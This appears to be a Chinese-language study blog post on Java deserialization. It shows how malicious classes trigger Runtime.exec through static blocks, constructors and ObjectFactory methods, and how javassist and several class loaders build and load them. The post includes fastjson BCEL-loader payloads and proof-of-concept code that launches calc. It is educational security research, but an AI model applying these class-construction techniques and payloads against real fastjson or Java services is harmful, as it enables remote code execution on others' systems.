Permalink
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
273 lines (208 sloc) 10.3 KB

Title: Java反序列化漏洞学习实践六:类的加载机制和恶意类构造 Date: 2018-11-26 18:04 Category: 漏洞实践 Tags: Java,反序列化,漏洞 Slug: Authors: bit4 Summary:

0x0、背景说明

在fastjson的反序列化漏洞PoC中,有一种是利用了static{}静态代码块在类的初始化(加载过程的一个环节)时会被执行这种特性。本文主要总结该思路中恶意类的构造方法和其触发方式,以全面了解fastjson反序列化漏洞PoC构造的过程。

本文是个人学习的记录总结,如有错误烦请指出,谢谢!

0x1、恶意类构造及其触发方式

Java恶意类的构造

如思维导图所示,总结了可以构造恶意类的几种方式:

  1. 利用静态代码块,在类的加载环节之一【初始化】时触发(重点)---触发方法Class.forName()
  2. 利用构造函数,在类实例化时触发(当然,实例化前必然先初始化)---触发方法newInstance(), new Evil()
  3. 利用自定义函数,在函数被调用时触发 --- 触发方法 xxx.fun() m.invoke()
  4. 利用接口的重写方法,在函数调用时触发

另外,通过类的加载流程可知:凡是能触发构造函数中代码的方法,都能触发静态代码块中的代码;凡是能触发自定义动态函数中代码的方法,都能触发静态代码块中的方法。

demo代码:

package evilClass;
import java.io.IOException;
import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class  evilClassTest{
    public static void main(String[] argv){
        try {
			//触发方式1
        	Class<?> xxx = Class.forName("EvilClasses.evilClazz");//只会执行静态代码块中的命令。
        	evilClazz cs = (evilClazz)xxx.newInstance();//这里触发构造函数中的命令。
        	
        	Class<?> yyy = Class.forName("EvilClasses.evilClazz",true,ClassLoader.getSystemClassLoader());
        	//只会执行静态代码块中的命令,但它可以执行指定类加载器,更为灵活
        	evilClazz cs1 = (evilClazz)yyy.newInstance();//这里触发构造函数中的命令。
        	
        	
        	//触发方式2 xxxxClassLoader().loadClass();
    		Class<?> c1 = ClassLoader.getSystemClassLoader().loadClass("EvilClasses.evilClazz"); //这里不会触发静态代码块,因为是隐式加载方式。
    		c1.newInstance();//这里会触发静态代码块后,触发构造函数
			
    		
			//触发方式3,应该和方式2本质上是一样的!
        	new evilClazz();   //会执行静态代码块和构造函数中的命令
        	
        	
        	//触发方式4
        	new evilClazz().fun();//静态代码,构造函数,自定义函数都会触发。函数调用方式,不用多说
        	
        	//凡是能触发构造函数中代码的方法,都能触发静态代码块中的代码;凡是能触发自定义动态函数中代码的方法,都能触发静态代码块中的方法。
        	
        	//getObjectInstance()函数的代码如何触发?和web框架环境有关系,需要学习!!
        	
        	
		} catch (Exception e) {
			e.printStackTrace();
		}
    }
}

class evilClazz implements ObjectFactory{
	public static String aaa;
	
	//静态代码块命令执行
    static
    {
        try {
            Runtime.getRuntime().exec("explorer.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
	
	//构造函数命令执行
    evilClazz(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    
    //自定义函数
    public void fun() {
        try{
            Runtime.getRuntime().exec("notepad.exe");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    
    //getObjectInstance命令执行,是因为实现了ObjectFactory接口。
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
    	try {
			Runtime.getRuntime().exec("mstsc.exe");
		} catch (IOException e) {
			e.printStackTrace();
		}
        return null;
    }
}

0x2、用javassist字节码操作动态创建恶意类

如下代码主要目的有2:

  1. 使用javassist动态创建恶意类,可以动态指定命令和类名称,更为灵活。
  2. 尝试利用不同的类加载器,从不同来源获取类的byte[]流。 虽然来源不同,但触发机制和evilClassTest中还是一致的。
package evilClass;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

import com.sun.org.apache.bcel.internal.classfile.Utility;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtField;
import javassist.CtMethod;
import javassist.CtNewMethod;
import javassist.bytecode.AccessFlag;

public class createEvilClass {
	
	public static byte[] create(String className,String cmd) {
		
		ClassPool pool = ClassPool.getDefault();
		//会从classpath中查询该类
		CtClass evilclass = pool.makeClass(className);
		try {
			CtField f= new CtField(CtClass.intType,"id",evilclass);//获得一个类型为int,名称为id的字段
			f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
			evilclass.addField(f);//将字段设置到类上
			
			//添加静态代码块
			CtConstructor ci = evilclass.makeClassInitializer();
			ci.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}");
			 
			//添加构造函数
			CtConstructor ctConstructor1 = new CtConstructor(new CtClass[]{}, evilclass);//指定参数构造器
	        ctConstructor1.setBody("{try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}");//$1代表第一个参数,$2代表第二个参数,$0代表this
			evilclass.addConstructor(ctConstructor1);
			
			//添加方法
			CtMethod funM=CtNewMethod.make("public void fun(){try{Runtime.getRuntime().exec(\""+cmd+"\");}catch(Exception e){e.printStackTrace();}}",evilclass);
			evilclass.addMethod(funM);
			evilclass.setName(className);
			
			evilclass.writeFile("D:\\");//将生成的.class文件保存到磁盘
			byte[] b=evilclass.toBytecode();
			
			return b;
		}catch(Exception e) {
			e.printStackTrace();
		}
		return null;
	}
	
	public static void main(String[] args) {
		//!!!这里的测试,主要尝试利用不同的类加载器,获取不同来源的类byte[]!!!! 虽然来源不同,但触发机制和evilClassTest中还是一致的。//
		
/*		//从本地或者网络加载类,触发方式为loadClass()和newInstance();
		try {
			File file = new File("D:\\");
			URL url = file.toURL();
			URL[] urls = new URL[]{url};
			ClassLoader cl = new URLClassLoader(urls);
			Class cls = cl.loadClass("Evil");
			cls.newInstance();
			//
			
			
		} catch (Exception e) {
			e.printStackTrace();
		}*/
		
/*		//从本地或者网络加载类,但触发方式为Class.forName();
		try {
			File file = new File("D:\\");
			URL url = file.toURL();
			URL[] urls = new URL[]{url};
			ClassLoader cl = new URLClassLoader(urls);
			Class yyy = Class.forName("evil",true,cl);
			
		} catch (Exception e) {
			e.printStackTrace();
		}
		*/
		
		
		//从classname(类名称)中加载类,触发方式为Class.forName();
/*		//基于com.sun.org.apache.bcel.internal.util.ClassLoader的fastjosn的PoC就是利用了这种类加载机制和触发方式。
		//{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"xxx"}}:"ddd"}
		//{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"xxx"}}:"ddd"}
		byte[] st = createEvilClass.create("calc");
		try {
			String classname = Utility.encode(st,true);
			System.out.println(classname);
			classname = "org.apache.log4j.spi$$BCEL$$"+classname;
			ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
			Class.forName(classname, true, cls);
		} catch (Exception e) {
			e.printStackTrace();
		}*/
		
		
		//从byte[]中加载类,newInstance()触发;
		//基于org.mozilla.javascript.DefiningClassLoader的 PoC可以在Commons Collections的漏洞中使用,因为它是invoke方式触发的,可以构造出来。
		//而在fastjson中,则由于格式的限制,不能构造
		try {
			byte[] st = createEvilClass.create("evil","calc");
			org.mozilla.javascript.DefiningClassLoader cl = new org.mozilla.javascript.DefiningClassLoader();
			Class c = cl.defineClass("evil", st);
			Method m = c.getMethod("fun");
			c.newInstance();//会触发2次
			//m.invoke(c.newInstance());//会触发2次
		} catch (Exception e) {
			e.printStackTrace();
		}
		
/*		//从byte[]中加载类,Class.forName()触发;
		//在fastjson的漏洞中,就是以Class.forName()的方式触发的,我们需要构造的是它的参数,而且这个参数要能通过fastjson的格式传入。
		//根据自己现有的知识,还不能完成将这个classLoader用于fastjson的PoC~~~
		try {
			byte[] st = createEvilClass.create("evil","calc");
			org.mozilla.javascript.DefiningClassLoader cl = new org.mozilla.javascript.DefiningClassLoader();
			Class c = cl.defineClass("evil", st);
			Class.forName("Evil",true,(ClassLoader)cl);//fastjson中存在的触发点是Class.forName()
		} catch (Exception e) {
			e.printStackTrace();
		}*/
	}
}

通过Bytecode Viewer查看生成的代码,并尝试加载,以测试是否正确。

0x3、参考

技术专栏 | 深入理解JNDI注入与Java反序列化漏洞利用

defineClass在java反序列化当中的利用

秒懂Java动态编程(Javassist研究)